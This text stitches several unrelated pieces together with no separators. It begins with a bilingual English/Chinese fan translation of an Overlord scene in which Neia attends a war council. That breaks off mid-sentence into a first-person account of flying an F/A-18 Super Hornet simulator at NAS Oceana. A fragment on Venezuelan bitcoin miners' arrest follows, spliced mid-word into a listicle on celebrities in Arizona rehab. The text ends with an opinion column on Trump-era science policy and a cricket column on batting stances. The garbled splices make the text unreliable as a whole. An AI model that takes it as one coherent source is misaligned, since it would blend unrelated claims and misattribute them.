「各位、失礼了。就让我来说明一下之前魔导王大人所说的话」 Neia relayed the Sorcerer King’s questions to everyone present. After the short speech, a heavy silence draped the room. 涅娅将魔导王询问的事情传达给了在场的所有人。在短暂的说话停止后、室内被沉重的沉默所支配了。 “...Then what does His Majesty propose we do?” 「……那么请问陛下觉得该如何是好呢？」 Remedios addressed her question to Neia, who stood by his side. 蕾梅蒂欧丝对站在涅娅身旁的存在发问。 “No, before that, what do you think? I have only come to do battle with Jaldabaoth, not to lead you all. If I end up participating too heavily in your strategic planning sessions, do you not think things will become very troublesome after defeating Jaldabaoth?” 「不、在那之前各位是怎么想的？我只是为了与亚达巴沃一战而来，并非是为了指挥各位。若是我过多参与主导的话，在击退亚达巴沃之后，不会变得很麻烦吗？」 Commotion raged through the room for a moment. 房间里顿时一片哗然。 “...Or do you mean to say you will subordinate yourself to my command? In that case, I will also use the most appropriate means to save this nation.” 「……还是说要加入我的指挥之下？这样的话我自然也会以、最妥善的手段拯救这个国家」 That ought to be the best way to do it, right? His Majesty might be undead, but everything he says makes perfect sense. He will surely abide by any agreements he makes too. Right now, at this very moment, if you want to save the suffering people, bending the knee to another country’s king for a time ought to be the right choice to make, no? （这应该是最妥当了的吧。虽然魔导王陛下是不死者，但所言所论都句句在理。约定的事情也一定会遵守。现在、这个瞬间、若是能够拯救多数受苦的人们的话，即使一时拥戴别国的国王应该也是正确的判断吧？） “The only one who may stand above us is Her Majesty, the Holy Queen. Regretfully, we cannot accept commands from the king of another nation.” 「能够立于我等之上的只有圣王女陛下。很抱歉、我等无法加入别国国王的指挥之下」 However, Remedios promptly rejected the offer. 可蕾梅蒂欧丝却立刻予以了拒绝。 “--!” 「——！」 You should be willing to do anything to save the people! Wasn’t that the reason why we’re using the king of another nation, and such an incredible king at that!? （为了拯救身陷水火的人民，应该不择手段才对。不正因为这种想法，我们会才不惜利用别国的、而且还是如此了不起的国王不是吗！） Neia hung her head. That was to keep from showing the dark, cloudy emotions welling up from inside her. 涅娅垂下头。这是为了不让内心深处浑浊的情感表现出来。 “May we inquire as to what course of action Your Majesty would take in our position?” 「作为参考能否请教陛下、若是陛下的话会采取怎样的行动呢？」 “If it were me, hm? Well, the logical thing would be to immediately move to a new location, no?” 「要是我的话、吗？一旦采取行动，就立刻将据点移动到别的场所、吧？」 “A new location…” 「新的据点吗……」 Everyone in the room, Remedios included, had a distressed look upon their face. That was because they did not know of any other place which was suitable as a hideout. 包含蕾梅蒂欧丝在内，房间里聚集的所有人们脸上都露出为难的表情。那是因为完全不知道除此之外，还有没有别的适合作为隐藏点的地方了。 “Judging by your response, I guess you don’t know. In that case, you need to plan your future operations under the assumption that the quicker you move, the sooner Jaldabaoth’s army will attack you....Then, since this is all, I will return to my room.” 「看气氛是不知道吶。这样的话，只能以行动得越快、亚达巴沃的军队也会越早攻来为前提，计划之后的作战一途了啊。……那么、话就说到这里，我回房间去了」 Just as Neia was about to follow him, the Sorcerer King held out his hand to stop her. 涅娅正打算同行之时被魔导王以手阻止了。 “Forgive me, but I would like you to stay here and listen to the others’ opinion on my behalf, Baraja-san.” 「抱歉、我希望巴拉哈小姐能够留在这里，作为我的代理听取各位的意见」 “Understood, Your Majesty.” 「遵命、陛下」 While he had not acknowledged her as his woman, it would seem the Sorcerer King was treating her as a substitute for himself. In that case, if she did not properly complete this task, he would be disappointed. Just imagining the Sorcerer King being disappointed made her heart flutter for some reason. 虽然并不是被当成自己人，但好像还是认同了她作为魔导王代理的样子。那么如果没有能够好好的完成这份工作的话，会让他失望。只要想象一下魔导王失望的样子，不知为何内心就有种骚动。 “I can count on you, then? You don’t mind, do you, Captain Remedios?” 「那么就拜托你了哦？没关系吧，卡斯特迪奥团长大人？」 “If Your Majesty permits it, we will not object.” 「只要陛下觉得可以的话，我等没有异议」 After hearing that, the Sorcerer King turned to leave with the paladin assigned to be his guide. 听到这个回答，魔导王便随着带路的圣骑士共同转身、走了出去。 Once he vanished around a corner, a priest spoke up. 在背影走过转角消失之后，一名神官开口了。 “So that’s the Sorcerer King… Captain Remedios. Will it really be alright? I hope we have not brought a tiger to chase away a wolf. That would be very troublesome.” 「那就是魔导王……卡斯特迪奥团长大人。真的没问题吗？可别为了赶走一匹狼而招来一只老虎啊，那可是会让人伤透脑筋的」 “Indeed. Taking poison to escape present agony… is that not what paupers do?” 「没错。可为了逃过现在的痛苦、而吞下将来的毒素……这可是典型的破产者哦？」 “We’ve talked about this before, haven’t we? Don’t make me repeat myself. The poison’s already in us now.” 「这些话刚才也说过了吧。不要让我再重复一次了。现在毒素已经进入身体了啊」 Not His Majesty, huh. They aren’t going to show him respect? （魔导王、啊。不加上敬称吗） Neia was displeased by the dramatic change in attitude they had shown the moment the Sorcerer King was gone. 涅娅对于魔导王刚一不在之后，就随即产生的态度变化而感到了不快。 If one understood the attitude of the citizens of the Holy Kingdom towards the undead, then their attitude was only to be expected. Rather, it was Neia’s displeasure which was abnormal. Why did she feel unhappy about this? 能够理解作为圣王国之民对于不死者的感情，他们的态度是非常理所当然的。反倒是涅娅的这种不快很是异常。为何、会如此不快呢。 “Well, he’s still useful now, so it can’t be helped… and we’ve concretely seen how he can help us… but as priests, we might have trouble neutralizing that poison, no?” 「在其还有利用价值时，也是没办法呢……而且也实际见识到了能让我方得益之处……但作为神官的我等，能否治疗那毒素还是个问题哦？」 What do you mean, useful? Someone notices a mistake we made and even goes on to supply a solution, but not only are they ungrateful, they’re still thinking about how to use him-- Ah, so that’s it. That’s what I sensed from His Majesty, something which the Holy Kingdom now lacks… a sense of purity. That’s why I feel like this... 什么叫利用价值。对于察觉我方的失误，并且还授予策谋的对象非但没有感恩之请，还在考虑要怎么利用对方吗。 （——啊啊、是这样啊。在魔导王陛下身上感觉到的，是现在的圣王国所没有的东西……就是那份高洁啊。所以我的心情才会如此的……） How much of his grace had she received? 自己是受到了多么大的恩惠啊。 After sharing a carriage with him, she had been given the chance to realize the fact that despite being one of the undead, the Sorcerer King was a king that was worthy of respect. 能够共乘一架马车，虽然魔导王是不死者、却是位值得尊敬的王这件事，能够得以用自己的眼睛来判断的机会。 Therefore, what she felt for this people was actually what was known as pity. 所以对这些人所产生的感情的正身，也许是被称为怜悯的感情吧。 “Speaking of which, Squire Baraja. What’s that bow you’re carrying?” 「说起来、侍从巴拉哈。你所拿着的那张弓是什么？」 “Ah, yes. His Majesty said that he would lend me this weapon for the duration of my assignment.” 「啊、是的。魔导王陛下说让我用这个，在执行任务期间借给我的武器」 “...May I take a look at it, Squire Baraja? I wish to see if the bow is enchanted with any sinister magic.” 「……能稍微让我看看吗。侍从巴拉哈。我想调查一下那张弓上是否附有某些不好的魔法」 The priest extended his hand to her. 神官伸出手来。 Normally, she should have handed it to him. However-- 照理应该要交给他吧。然而—— “Please permit me to refuse.” 「请恕我拒绝」 The priest was stunned. It was a face that said he had not expected to be denied.” 神官露出一副呆然的神情。那是完全没有想到会被拒绝的表情。 “This is a weapon I have received from His Majesty in order to protect his person. I will not allow it to leave my hands.” 「这是我从魔导王陛下那里、为了保护陛下的安全所借来的武器。我绝不会将其交到除了我以外的任何人的手上」 She would not allow someone who was only thinking of using an ally to touch it for even a single moment. Neia lowered her head as she replied to keep the anger in her heart from showing in her eyes. 对于只会想着利用协助者的人，即使只是一时也不会借给他。涅娅为了不让内心的愤怒映像到瞳孔之上、低着头这么答道。 “--Captain Custodio, what’s the meaning of this?” 「——卡斯特迪奧团长殿下，这是怎么一回事？」 “Ahhh, Squire Baraja, hand that bow--” 「啊啊，侍从涅娅·巴拉哈，把那张弓——」 “In other words, you don’t mind if I report this to His Majesty, then?” 「那也就是说，我将此事禀告陛下也是无妨吗」 The air in the room froze over. 室内的气氛瞬间冻结了。 “Enough. I understand. Let’s continue talking.” 「够了。我知道了。我们接着说下去吧」 Hmm~ so at least they still know that things will go poorly for them if His Majesty finds out. （哼—嗯，原来还是有、如果被魔导王陛下知道了会有所不妥的自觉的啊） “Before that, Captain Custodio, would it not be better to let Squire Baraja return to the Sorcerer King--dono’s side?” 「在此之前，卡斯特迪奧团长殿下，让侍从涅娅·巴拉哈回到魔导王——阁下的身边不是更妥当吗？」 Neia noticed one of the priests glancing at the bow for just a moment. 仅一个瞬间，神官里的其中一人向那张弓瞥了一眼，被涅娅察觉到了。 Neia understood the meaning he was trying to convey, but despite the anger boiling in her heart, she did not let it spill over to her words or actions. 涅娅明白他想要表达的意思，带着怒火中烧的心情却丝毫不溢于言表地断言到。 “I apologize, but I am here to listen to everyone’s words by order of His Majesty. I would be very grateful if you would let me continue to remain here and listen to your words from the side.” 「真是非常抱歉，我是奉魔导王陛下之命在场听取各位发言的。若是能让我继续在场旁听的话就感激不尽了」 “True enough… Gustav. What do you think we should do?” 「也是呢……古斯塔博。你觉得哪边比较好？」 “His Majesty told us as much in person. If we have her leave now, it will probably cause more problems in the future. 「魔导王陛下可是当着我们的面说出此事的。要是让她离席的话，以后恐怕只会引起更多的麻烦事吧」 “That’s true. So we’ll let her remain, then?” 「也对。那么，就这样让那家伙继续参加吧」 Is this something you should be saying in front of the person in question? As Neia thought this, she bowed in silent gratitude. 这该是在本人的面前说的事吗，涅娅一边这么想着一边默默地低下头表示感谢。 “Now then, following on what the Sorcerer King has said, what should we do? Does anyone have any ideas about leaving this place and looking for another safe space?” 「那么，按魔导王所说的话来看，那该如何是好？对于要从这里离开找到另一个安全的藏身处，谁有好的想法吗？」 Perhaps someone with her father’s ranger skills might be able to find a place for this many people to stay for extended periods. However, there was nobody here like that. 要是拥有像父亲帕贝尔那样的游击兵[ranger]技术的话，或许会知道如何找出能让这等人数都可以长期夜间宿营的地方吧。可是在这里并没有此等人物。 “The Sorcerer King -- His Majesty said earlier that if we do not do anything, Jaldabaoth will not make a move either. In that case, why not search for a new place before they take action?” 「魔导王——陛下曾说过如果我们不采取任何行动的话，亚达巴沃也不会作出应对的。那样的话，在对方行动之前我们便着手寻找新的地方不就好了吗？」 That suggestion, made by one of the paladins, met with scattered approval. However, Neia knew very well that putting the matter off would not solve anything. In the end, all it would do was cause a pileup of problems in the future. 对于某位圣骑士提出的提案，大家纷纷表示了赞同。可是，涅娅很清楚，像这样不断往后拖的问题是不会向好的方向转变的，结果到了那时只会乱作一团而已。 “The problem isn’t just finding a new place, but also the matter of provisions. While this is winter and so food is easy to preserve, finding enough to tide us through the entire season is not easy. Even if we have not secured the Kingdom’s cooperation, shouldn’t we at least buy some food from them? Wouldn’t that help things?” 「问题不单只是寻找新地方，还有粮食方面的问题呢。现在是冬天食物虽说是容易保存，但要跨过整个冬季却绝非易事。虽然并没有获得王国方面的协助，但至少也要购入些粮食，这样不会好些吗？」 “Unfortunately, prices are unbelievably high on the Kingdom’s side. Also, even if we did manage to buy the food, we’d need a massive amount to sustain this many people for several months, so transporting it would be very difficult.” 「很遗憾的是王国那边的食物价格高的难以想象。而且就算买下来了，可供如此人数维持好几个月的话，所需的粮食份量就太过庞大了，搬运起来将会非常困难」 “VIce-Captain-dono, I understand what you’re trying to say. However, there won’t even be anything to discuss without that food. In the end, we need some way to get rations from the south, no? Or perhaps shift our base closer to the coastline, so we can ship it in from the Kingdom.” 「副团长殿下，我非常明白您想说的意思。但要是没有粮食的话事情根本就谈不下去。果然还是需要一些措施手段让南边把粮食运过来吗？或者说让据点向海岸线附近转移，让粮食能通过海路从王国那边运来？」 “Unfortunately, we lack the funds for that, and we didn’t get a good response from the Kingdom’s traders. As for getting it from the south…” Gustav laughed as he replied, “They probably haven’t realised that danger is drawing near for them. Our navy is being slowly worn down, like they’re taking a step closer to the chopping block with each day that passes.” 「可惜并没有如此充裕的资金呢，也没有得到王国的富商们足够好的反应，然后要是从南边的话……」古斯塔博苦笑着说道「他们怕是还没有意识到危机已经如此逼近了吧。现在的海军是正在被逐渐消耗着的状况，就像是一步一步走在通往断头台的台阶上一样」 “So we need to produce some sort of collateral to make the south willing to help us, is that it?” 「必须得拿出、能让南边愿意协助我们的某种依据，这么回事么」 “After all, the problems with our base camp and food are stacked up like a mountain.” 「毕竟据点、食物等问题堆得像小山一样多」 “...As for resurrecting the Holy Queen-sama… can it be done? After all, once we can get that settled, everything else will be moot.” 「……关于复活圣王女大人的问题，能办到吗？毕竟要是能搞定这点，其余的就都不是什么大问题了啊」 “Unfortunately, according to what we learned from Blue Rose, even that fifth-tier spell will have a hard time working without a corpse, or if it’s badly-damaged.” 「非常遗憾，根据我们从苍蔷薇那里打听来的，即使是第五位阶的魔法要是没有尸体、或是尸体已经过度损坏的话，也非常困难的样子」 “...Can we count on His Majesty’s power?” 「……以魔导王陛下的力量呢？」 “You want to borrow the power of the undead?” 「要借助不死者的力量吗？」 “Things being what they are, what else can we do? If the Holy Queen-sama were to be resurrected, then the main problem would be Jaldabaoth.” 「都到这个节骨眼了，还能有什么办法。要是圣王女大人能复活的话，就只剩下最主要的问题[亚达巴沃]了」 Everyone’s eyes turned to the sour-faced Remedios. 全员的视线都向着愁眉苦脸的蕾梅蒂欧丝集中了起来。 “--Let’s set that aside for the moment. We discussed this while travelling through the other countries, but our main objective will be to attack the camps and liberate the people.” 「——这个问题暂且搁置。虽然在游走他国期间我们也讨论过这个问题了，但现在的首要任务是袭击收容所，将国民都解放出来」 Many people nodded in agreement. 好几个人都纷纷点头同意。 “I see. All of the Holy Kingdom’s people are combat-trained. In that case, just freeing a single village will grant us a certain amount of fighting strength… assuming they’re willing to help, of course. However, in that case, wouldn’t that make the food problem worse?” 「原来如此。圣王国全体国民都是接受过战斗训练的。如此一来，只要解放了一个村落便能得到一定程度的军事力量了…VIRGINIA BEACH, Va.—A little over a year ago, I was lucky enough to take a short ride in a Folland Gnat trainer—a nimble little two-seat jet maintained by Rick Sharpe of Houston’s Vietnam War Flight Museum. I had a great time and learned a lot about how unsuited my inner ear is for aerobatic maneuvering, but what I wasn’t expecting was the e-mail that landed in my inbox the day after the story ran:
Lee,
Enjoy your articles and I saw the article on your recent flight in the Gnat. As I read what you wrote, it occurred to me that you might be interested in the large video game we run down here at NAS Oceana in the F/A-18 simulator. If that sounds like something Ars would be interested in, I could look into setting that up for you. Drop me a line if you are interested. Sparky
CDR Matthew W. Smith
CVW-7 Operations Officer
My jaw dropped. I read and re-read what had to be a mis-sent invitation or a series of typos. Me? Jump into a modern fighter simulator? Something I’d be interested in?
I nearly broke my fingers speed-typing my response. Hell yes, we were interested in an F/A-18 simulator! Who wouldn’t want to play what was essentially an awesome 360-degree video game in a high-fidelity fighter jet cockpit?
The trip actually took the entire year to arrange. The Navy is the Navy, and the wheels of bureaucracy turned slowly. But finally, at the tail-end of October 2014, my photographer and I met Navy Commander Matt "Sparky" Smith at a Starbucks just a few miles away from Naval Air Station Oceana.
NAS Oceana is home to 337 Navy aircraft split into 19 squadrons, with the bulk of those aircraft being either older F/A-18A and -C Hornet models (142 of them in seven squadrons) or newer F/A-18E and -F Super Hornets (172 in 11 squadrons). The Hornet and Super Hornet are the US Navy’s primary carrier-launched fighter aircraft, taking over a multitude of roles that used to be served by the F-14 Tomcat long-range fighter interceptor, the ground attack-focused A-6 Intruder and its tanker variant, and the anti-submarine warfare-focused S-3 Viking.
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The Super Hornet differs enough from the older model as to essentially be an entirely new aircraft, and that’s what I was going to virtually fly. My photographer was actually looking forward to the trip even more than I was—Rick is a private pilot, and he was thrilled at the idea of getting to add "F/A-18E" into his logbook. For my part, I had a lot of questions about the technology required to deliver a high-fidelity simulation—what kind of hardware did the simulator run? How accurate was it? And, of course, could a guy like me raised on a diet of video games actually sit down and successfully fly a for-real supersonic fighter jet?
Wheels up with Sparky
Commander Matt Smith is a hell of a guy. The Ohio native is compact in that way that pilots and aviators tend to be, and he’s got a solid handshake and a relaxed demeanor that can switch from joking to Naval Aviator Radio Voice instantly. Smith is currently serving as the Operations Officer for Carrier Air Wing Seven, but he’s been flying since March of 2001, first in S-3 Vikings and then in Super Hornets since 2005. He’s flown four combat tours supporting Operation Iraqi Freedom from the Nimitz and Enterprise. He’s also a long-time Ars reader (hi, Matt!), which is how the invite to try out the simulator landed in my inbox in the first place.
The drive through NAS Oceana to the sim building took us past neatly mowed lawns studded with the usual (awesome) assortment of preserved aircraft posed carefully on pedestals. When we entered the sim building, a pair of rookie aviators with lieutenant bars jumped to their feet and acknowledged Smith (without saluting—Navy folks don’t do that indoors on land, apparently). Smith’s call sign is "Sparky," and I asked the two rookies if they’d been stuck with their own call signs yet. Apparently you don’t get a call sign until you’re assigned to a squadron and do something embarrassing enough to be worth memorializing.
We had to turn in our phones and laptops before we were allowed past the lobby, and once inside we were ushered through wide cinderblock hallways bedecked with squadron logos—including the famous and instantly recognizable skull-and-crossbones of VFA-103, one of the two Super Hornet squadrons belonging to the Navy’s Carrier Air Wing Seven. The sim building we were in had a number of different sim "bays," each containing one or more cockpit simulators; plaques by each bay’s door showed either a green "UNCLASSIFIED" or a red "CLASSIFIED" label, depending on what kind of simulation equipment was in use in each bay.
My photographer and I found ourselves in an unclassified sim bay that had been specially prepared just for us—in other words, all the secret stuff had been put away prior to us bringing in our cameras, microphones, and notepads. We would be flying in a previous-generation F/A-18F Super Hornet simulator, one without a hydraulic motion base that used lower resolution graphics than current-gen models. The cockpit mockup also reflected a previous-generation Super Hornet configuration, with more screens and more complex instrumentation than the latest and greatest block models offered.Federal police in Venezuela today arrested four bitcoin miners in the town of Charallave. Three men and one women were accused of "electricity theft" and "internet fraud." The news, which was reported earlier today by Venezuela's leading bitcoin news site, CriptoNoticias, was first announced on the Instagram feed of Douglas |
to the Meadows rehab center. It was never officially confirmed that Weinstein would be treated at the Meadows, but the facility is equipped to treat sexual addictions.
Harvey Weinstein reportedly flew to Arizona last night, possibly for rehab. Kathy Hutchins
Today, TMZ reported Weinstein's flight was diverted to Scottsdale and their "well-connected" sources said he's "now getting treatment somewhere in the Scottsdale area."
A woman who answered the phone at the Meadows rehab facility told Phoenix New Times she couldn't "confirm or deny anything" when asked about Weinstein's alleged stay.
Since last week's New York Times story reporting Weinstein paid off sexual harassment accusers, his career has gone up in smoke like a California wildfire. Politicians and Hollywood execs have distanced themselves from him. A-list actresses such as Angelina Jolie and Gwyneth Paltrow have come forward with more accusations against the Oscar-winning movie mogul.
Now, it appears he's come to the Grand Canyon State to take refuge in the dry heat and rehab center. If only Tent City was still open — as the allegations multiply, the open-air jail could have made a more suitable spot for Weinstein. But he's not the first famous person with the idea. Here are six other celebrities who've done rehab in Arizona.
EXPAND Tiger Woods Debby Wong
Tiger Woods
Remember the simpler days when we got to read about the sexcapades of a rogue golfer in line at the grocery store checkout? It's unclear whether Woods went to the Meadows to treat his sex addiction or please his sponsors, but he reportedly did a stint at the Arizona rehab center in 2010.
EXPAND Selena Gomez Tinseltown
Selena Gomez
The Meadows isn't just for people with sexual addictions. Their services are vast and varied and include drug addiction, "love avoidance," and even have programs for workaholics. In 2014, Gomez checked herself into the Meadows, which offers services ranging from equine therapy to yoga and acupuncture. She spent a secretive two weeks there. Although rumors swirled that she was in for abuse of substances like that metaphorical gin and juice she's always singing about, her rep told People that wasn't true. Later, the singer said she said she went there after being diagnosed with lupus.
EXPAND Whitney Houston Featureflash Photo Agency
Whitney Houston
It's been reported by several sources that this soul singer spent time in the Meadows facility. Even with high notes known for causing convulsions on the dance floor and pipes that could bring tears to the eyes of even the most unfeeling monster, musical legends have their problems. Houston faced a long battle with drug addiction until her death in 2012. The star died of an accidental drowning and had cocaine in her system at the time. Perhaps not the best advertisement for the Meadows.
EXPAND Kate Moss Featureflash Photo Agency
Kate Moss
After "Cocaine Kate" landed on London's Daily Mirror's front page hitting the nose candy, the model fell from grace, losing contracts with the likes of Chanel and Burberry. People magazine reported that the celebrity checked into the Meadows for medical treatment and therapy in 2005.
EXPAND Naomi Campbell Twocoms
Naomi Campbell
This English supermodel is known for more than just her Vogue covers. There was the "air rage" incident in which pleaded guilty to assaulting two police officers at London Heathrow Airport after her luggage was lost. Air travel is stressful, but this was a bit extreme. Then, there was the time she allegedly threw her mobile phone at an employee and threatened to throw her out of a moving car. Again, extreme. Luckily, Arizona came in hot with a fix. Forbes reported that the singer graduated from four-week "rage rehab" at the Cottonwood de Tucson facility.
Rush Limbaugh
This radio host and force of right-wing nature took a five-week break from the air at an unnamed rehab center in Arizona in 2003, the Los Angeles Times reported. Limbaugh was apparently there to kick an addiction to the painkiller OxyContin after a housekeeper claimed he was hoarding tens of thousands of pills.Trump’s anti-science policymakers risk setting off a chain reaction that threatens US jobs and competitiveness. Do they have what it takes to see the light — before it’s too late? Commentary.
aNewDomain — Back in 2010, I watched as former Virginia Attorney General Ken Cuccinelli conducted his bitter witch hunt against climate scientist researcher Michael Mann.
It was brutal. Cuccinelli, after all, had the Commonwealth’s tax dollars (mine, included) and all its legal muscle at his disposal.
I was reminded of the whole sorry situation by an opinion piece Mann wrote in a recent edition of the Washington Post. In it, Mann described his fears about the incoming Trump Administration’s anti-science rhetoric in light of his struggle to ward off Cuccinelli. He also talked about death threats he’s received along the way.
Mann’s experience is scary for two reasons. The first one’s obvious: It’s that government agencies are ready and willing to wield the power and resources of government to oppose scientific research.
The second is subtler, but just as dangerous. It reveals how anti-science officials in government cover up their actions under a veil of secrecy that’s surprisingly hard to penetrate.
Take what happened with the Cuccinelli regime in Virginia. At the time, I tried repeatedly to find out how much money the Commonwealth was spending on persecuting Mann and his employer, the University of Virginia, but to no avail.
Repeated attempts to go through channels via both the Governor’s office and the Attorney General’s office were met with silence — or with vague statements saying such data were not available.
The idea of a legal department not tracking how much time was being spent on high profile politically sensitive actions seemed preposterous at the time. Eventually, an anonymous source sent me an internal report that described a recent installation of a time-tracking system for use by the Attorney General’s office.
But by then I was fed up with tilting at windmills. Like many Virginians, I felt my only recourse would be in voting him out of power.
And that did happen in the end. In 2013, Cuccinelli ran for Virginia governor against Terry McAuliffe, who made Cuccinelli’s attacks on Mann and climate science a central campaign issue — and won. Many celebrated this as a sign of turning tides. “Virginians voted (an) against anti-science candidate,” exulted an editorial in The Guardian, “showing that climate realism is a winning stance” in America.
It continued:
“But all isn’t lost. Recent polls show that most Republicans recognize that climate change is happening. Only the Tea Partiers continue to live in denial. If enough conservatives view anti-science, anti-environmental stances as a losing proposition, then maybe, just maybe, this once grand old party can re-establish itself as a protector of the planet for our current and future welfare. We can only hope.”
That was four years ago.
The network effect
I’m a glass half full kind of guy. But from what I’ve seen so far of the incoming Trump Administration, we are now facing something far more worrisome than anything that’s come before.
If Trump’s scientific research policies evolve the way his campaign rhetoric and his key appointments suggest, they will inflict both short and long-term damage to worldwide U.S. scientific leadership, reputation and competitiveness.
The first victims will fall into the climate, environmental and energy research categories.
Executive actions that hobble research funding in those areas won’t harm just them. They’ll set off a ripple effect.Funding reductions, for instance, will of course impact education and training for the graduate students and post-docs who rely on government research grants.
These students will just shift to other areas and, over time, more and more will avoid programs that appear dependent on insecure policy-sensitive funding. Or worse, they’ll just drop out entirely.
Multi-institution consortia and research programs that promote collaboration and data sharing may also suffer as funds supporting, say, remote access to cloud-stored climate research data, are cut back or disappear.
The immediate impact of funding reductions in new research areas dubbed “politically sensitive” at first will be mostly human. But longer term, the U.S. stands to suffer an utter loss of competitiveness. As the American scientists and companies are hog-tied, other countries will be able to push ahead and commercialize their research, especially in the fast-moving non-nuclear energy science field.
Brain drain
And, as clean energy industries grows at our nation’s expense, American jobs at home will fall into danger.
U.S. industry has always been at least partly dependent on publicly funded research. It is one of the many inputs to product development. It would be interesting to know if entrepreneurs such as Elon Musk have relied on research and patents that originated with funding by the U.S. government.
Much private sector work is.
Many collaborations and partnerships exist between government-backed research institutions and the nation’s most successful private companies. Take the U.S. Department of Commerce data collaboration project.
It’s powered by a consortium of NOAA scientists, and researchers at Amazon Web Services Google Cloud Platform, Microsoft, IBM and Global Cloud Consortium. If the NOAA were forced to cut a project like that, the effect is to cut jobs in the private sector it works with, too.
Before long, you have not just ripples, but an all-out network effect.
As whole fields of inquiry and the industries they support start winnowing down, more and more researchers, workers and students will consider transferring to institutions and firms in nations that, unlike the US, don’t summarily discourage whole fields of study for political reasons.
Imagine you are a top-tier incoming graduate student with offers from both U.S. and foreign graduate programs. Would you choose a cash-starved program that the US government openly wants to kill off, or one full of resources and opportunity elsewhere.
Where would you go?
And if and when you decide to go, after you finally complete your education overseas how likely are you to come back to the US to work, where the research institutions and private companies in your field don’t have the research, technology or networks to support what you do?
The alternative: Stay overseas and contribute your time and energy to some other more welcoming country’s economy and competitiveness. Over time, that decision would look more and more attractive.
The politics of research
Research funding has always had a political component. It’s always at work, it’s just a lot more noticeable in times of war or political upheaval. Think back to the Manhattan Project, or to the post-Sputnik Biological Sciences Curriculum Study (BSCS) program here in America.
As authoritarian regimes rise up in nations around the world, including ours, you could make the case that we’re looking at the same dynamic right now.
Moving forward, as our nation’s anti-science policies continue over the next few months and years, foreign countries will find it easier and easier to successfully compete with the U.S. and beat us out in all manner of scientific fields and industries.
And, as sea levels rise and threaten to flood coastal cities around the world in ways that the U.S. military has determined could threaten our national security, well, you can see where this leads.
Shouldn’t we be encouraging independent scientific research that advances our national interests?
The challenge
Americans rightfully expect and demand that our elected representatives and federal employees make science-related decisions knowledgeably and without superstition, and with the nation’s short and long term interests in mind.
But with an incoming administration full of senior policy makers who are either disdainful of science or have no background or desire to understand how it works or what it is looking at, we’ve all got a harsh reality ahead.
Policy makers, after all, will be taking their cues from President Trump, a man who two weeks ago reframed his position on climate change from something that “was created by and for the Chinese” to “Nobody really knows — it’s not something that’s so hard and fast” and “it’s just weather.” (!)
Trump’s vowed to pull America out of the Paris climate agreement and to block The Clean Power Plan, which would reduce the power sector’s heavy carbon emissions.
Considering all this, it’s inevitable that scientists and Americans who believe in science now have no choice to become political, even more political than they already are. That’s the harsh reality.
For aNewDomain, I’m Dennis D. McDonald.
An earlier version of this column ran on Dennis D. McDonald’s site. Read it here.
The NASA Center for Climate Simulation (NCCS) runs complex models to help scientists and laypeople to better understand Earth’s climate and why they should never confuse it, as Trump has, with the weather. Here it is below.
Here is the campaign ad Cuccelli’s opponent in the Virginia gubernatorial race leveraged against Cuccelli’s attack on TK and his anti-science stance
Cover image: Modern Era Retrospective-analysis for Research and Applications (MERRA) depiction of atmospheric humidity on June 17, 1993, the day the Great Flood struck the U.S. Midwest, via: Michele Rienecker, Max Suarez, Ron Gelaro, Julio Bacmeister, Ricardo Todling, Larry Takacs, Emily Liu, Steve Pawson, Mike Bosilovich, Siegfried Schubert, Gi-Kong Kim, NASA/Goddard; Visualization: Trent Schindler, NASA/Goddard/UMBC/NASA, All Rights Reserved. Inside: MIT.edu, All Rights Reserved; Weather.com, All Rights Reserved,A short forward press from a wide stance is not of much help in taking you closer to where the ball pitches © AFP
Cricket is an evolving game and it's always interesting to see new methods, theories and styles develop, both with regard to individuals and teams. Lately we have seen a number of English batsmen hold their bats aloft while standing in their stance. There must be something in the way kids are coached in England that has led to this sweeping change. Partly it could be to do with the legacy left behind by Graham Gooch, who was an icon when it came to holding the bat high in the stance. Or perhaps it is to do with batting against bowling machines a lot.
Many South Africans, on the other hand, from Jacques Kallis to Hashim Amla, have developed the habit of getting into a second stance just before the bowler is ready to deliver the ball.
Most Indian batsmen have widened their stances in the last three or four years. India's great batsmen, from Gavaskar to Tendulkar, traditionally had reasonably narrow stances, but of late something has changed in this regard. This new batting stance has been at the centre of many discussions around India's successful tour to Sri Lanka. What are the merits and demerits involved?
The feet should be comfortably apart (the width of your shoulders can be used as a marker) with the weight on the balls of the feet.
This is what the traditional coaching manuals say about how the batsman should stand in his stance while getting ready to face the ball. "Comfortably apart" is an important part of that sentence. Cricket coaching can never be one size fits all. Every individual is uniquely built, and to suggest that the distance between the feet should be x or y inches can be futile in practice. You need freedom to decide what works for you.
Most coaches will tell you not to keep your feet too close together or too wide apart. The first will make you unbalanced, and too wide would restrict your mobility
The distance between the feet has a lot to do with your height: diminutive batsmen will want to keep them closer together than taller ones do. The idea is to find a position that keeps you well balanced without compromising on mobility.
Now you can't leave the decision on the width of the stance to a seven- or eight-year-old kid because he tends to follow his idols. When Kevin Pietersen was scoring tons of runs, lots of young kids copied his wide stance. It's okay for a person who's well over six feet tall to have a really wide stance but not for someone who is 5ft 5in or shorter.
Most coaches will tell you not to keep your feet too close together or too wide apart. The first will make you unbalanced, and too wide would restrict your mobility. Also, if the feet are too close you'll be going backwards a lot more than if they weren't; and if the feet are too far apart, you'll go in the opposite direction.
That brings me back to current Indian players, who seem to be fascinated with wide stances. None of the Indian batsmen are as tall as Pietersen to be able to make this sort of stance work, but still most of them have adopted it. Also, is it wise to change something that has worked well for you over years of playing the game? Some say the wide stance is straight from the Duncan Fletcher school of coaching. Let's try and figure out why he might have endorsed it.
There have been radical changes in batting over the last few years. We now see batsmen lunge onto the front foot more than ever before, and that's not restricted to Indian batsmen. In fact, barring players from England, almost everyone else is on the front foot more often than not, and at times even to balls that are dug in short. It isn't surprising that most English batsmen have narrow stances, for that makes the backward movement that characterises their play easier.
Pietersen's height helps make his wide stance work © Getty Images
A wide stance means your movement is towards the bowler. Also, once the feet are already so far apart, it takes only a small step forward to have a stride that is fully stretched forward. Perhaps that was why Fletcher preferred this approach: if you have to take a forward stride eventually, why not get into that position even before the ball is bowled, or at the very least, reduce the distance to cover?
While it appears that the forward stride is taken care of with the wide stance, that's not quite the case. The reason to take a forward stride is two-fold: one, to get closer to the ball; and two, to take the body weight forward, towards the ball, so that you can lean into the shot. Now the short forward press from a wide stance isn't going to be effective in taking you closer to the ball, for bowlers account for where the batsman's leading foot is planted while deciding on their length. Also, a really short step forward doesn't allow the body weight to go through effectively either.
